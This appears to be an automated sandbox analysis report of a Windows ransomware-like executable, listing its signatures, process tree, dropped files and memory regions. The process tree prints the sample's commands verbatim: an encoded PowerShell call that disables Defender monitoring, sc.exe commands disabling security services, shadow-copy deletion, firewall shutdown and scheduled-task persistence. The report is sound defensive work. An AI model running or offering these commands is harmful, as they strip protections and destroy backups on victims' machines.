Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250610-en
  • resource tags

    arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/05/2026, 09:00

General

  • Target
    carjack.io_hyber.exe
  • Size 49KB
  • Sample260509-kysrmsg12r
  • SHA256 4625a1c105af8c6d35609e7d2e73876fa054e7e6624d8f42df42eec817f01249
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2264
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5532
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4672
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4916
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4192
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2292
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5236
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3932
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4540
      • C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe"
        3⤵
          PID:4648
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4592
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2860
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4304
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:5236
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:3272
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1116
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3392
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:3600
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2292
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:4196
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3432
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1336
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4964
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4532
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:2192
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4020
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:2900
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:440
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:1940
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4272
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:2400
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:1640
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2760
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1616
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5904
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:4744
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3192
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:5444
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2024
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a10855 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2968
                • C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\carjack.io_hyber.exe
                  1⤵
                    PID:2268
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5460

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        LockScreen___1280_0720_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-2345208746-1589029588-866946394-1000\ReadOnly\LockScreen_Z\LockScreen___1280_0720_notdimmed.jpg
                        • Size 62KB
                        • SHA256 af2537d470fddbeda270c965b8dbdf7e9ccf480ed2f525012e2f1035112a6d67
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 da1e6effbec79b0cd9e1a1dd8a269ea22ff4e9d33cde47eb50d6d3034b5769bc
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 9a71985ce6a6e16405f7e78e94208db7673c05440e9c09378c5a9e6ee2170fbf
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        carjack.io_hyber.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\carjack.io_hyber.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_yl1elxwt.p3a.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yl1elxwt.p3a.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 241B
                        • SHA256 0d770bb30916e6a93e9d9e3f27fe6e7ebfb7e0a00bdd58e25adb9e726f7336f2
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 242B
                        • SHA256 234fc1a3b95a3cf5acbda39dc4d02e76f52e244efa68619362d09a270149204b
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 4625a1c105af8c6d35609e7d2e73876fa054e7e6624d8f42df42eec817f01249
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1640-2268-0x000002587F390000-0x000002587F391000-memory.dmp

                        memory/1640-2291-0x000002587E460000-0x000002587EC0E000-memory.dmp

                        memory/2136-2286-0x000000001AF50000-0x000000001B6FE000-memory.dmp

                        memory/2136-2290-0x000000001B8C0000-0x000000001B8D0000-memory.dmp

                        memory/2136-2288-0x000000001CF10000-0x000000001CF22000-memory.dmp

                        memory/2136-2287-0x0000000002470000-0x000000000247C000-memory.dmp

                        memory/2136-0-0x0000000000380000-0x0000000000392000-memory.dmp

                        memory/2136-12-0x000000001DFF0000-0x000000001E518000-memory.dmp

                        memory/2136-11-0x000000001D7F0000-0x000000001D9B2000-memory.dmp

                        memory/2136-1-0x000000001B8C0000-0x000000001B8D0000-memory.dmp

                        memory/2264-1066-0x000002AAA9400000-0x000002AAA94B3000-memory.dmp

                        memory/2264-2282-0x000002AA904B0000-0x000002AA90C5E000-memory.dmp

                        memory/2264-22-0x000002AA90E00000-0x000002AA90E22000-memory.dmp

                        memory/2264-2258-0x000002AAA9660000-0x000002AAA966A000-memory.dmp

                        memory/2264-2257-0x000002AAA9650000-0x000002AAA9656000-memory.dmp

                        memory/2264-2247-0x000002AAA9670000-0x000002AAA968A000-memory.dmp

                        memory/2264-1041-0x000002AAA93E0000-0x000002AAA93FC000-memory.dmp

                        memory/2264-1507-0x000002AAA9080000-0x000002AAA908A000-memory.dmp

                        memory/2264-2246-0x000002AAA9610000-0x000002AAA961A000-memory.dmp

                        memory/2264-1948-0x000002AAA9630000-0x000002AAA964C000-memory.dmp

                        memory/2264-2252-0x000002AAA9620000-0x000002AAA9628000-memory.dmp

                        memory/2264-2284-0x000002AA90DB0000-0x000002AA90DC2000-memory.dmp

                        memory/2264-2283-0x000002AA8E970000-0x000002AA8E97C000-memory.dmp

                        memory/2268-2255-0x000000001B900000-0x000000001C0AE000-memory.dmp

                        memory/2400-2261-0x000001D2EC790000-0x000001D2EC79C000-memory.dmp

                        memory/2400-2262-0x000001D2EE430000-0x000001D2EEBDE000-memory.dmp

                        memory/2968-2289-0x0000023AD2670000-0x0000023AD2E1E000-memory.dmp

                        memory/4592-2244-0x000001991ECB0000-0x000001991ECBC000-memory.dmp

                        memory/4592-2245-0x0000019920A40000-0x00000199211EE000-memory.dmp

                        memory/4648-469-0x000000001ABF0000-0x000000001B39E000-memory.dmp